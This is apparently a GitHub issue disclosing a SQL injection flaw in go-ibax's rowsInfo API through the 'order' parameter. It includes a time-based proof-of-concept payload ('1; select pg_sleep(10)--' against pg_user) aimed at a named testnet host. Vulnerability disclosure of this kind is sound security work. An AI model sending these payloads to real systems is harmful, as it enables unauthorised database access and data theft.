#2062·go-ibax

SQL injection vulnerability via order parameter

Author: QSec-TeamCreated Oct 24, 2022Updated Oct 24, 2022

Describe the bug

SQL Injection vulnerability in /packages/api/database.go of go-ibax via order parameter allows attacker to spoof identity, tamper with existing data, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.This issue affects versions starting from commits on Jul 18, 2020.

file: 2 places https://github.com/IBAX-io/go-ibax/blob/6bac7462801b5e6da47f1231681bb1516a7dd4bb/packages/api/database.go#L186-L189

commits: https://github.com/IBAX-io/go-ibax/commit/ac760982dc31edc904c160c2e5707a28798646e2#diff-bcab25c94cb216acdcdc607a2071aa896f187754698d3d523050308e17f32aabR172 https://github.com/IBAX-io/go-ibax/commit/ac760982dc31edc904c160c2e5707a28798646e2#diff-bcab25c94cb216acdcdc607a2071aa896f187754698d3d523050308e17f32aabR174

POC: Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo Request Method: POST PostData: ① order=1%3b+select+pg_sleep(10)--&table_name=pg_user&limit=1&page=1

② with where parameter : order=1%3b+select+pg_sleep(10)--&table_name=pg_user&where=1=1&limit=1&page=1

Reproduction

Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo Request Method: POST PostData: order parameter

① order=1%3b+select+pg_sleep(10)--&table_name=pg_user&limit=1&page=1 image

② with where parameter : order=1%3b+select+pg_sleep(10)--&table_name=pg_user&where=1=1&limit=1&page=1 image

as you can see, when I use pg_sleep, the request is delayed 10s.

System Info

bash
*

Logs

No response

Validations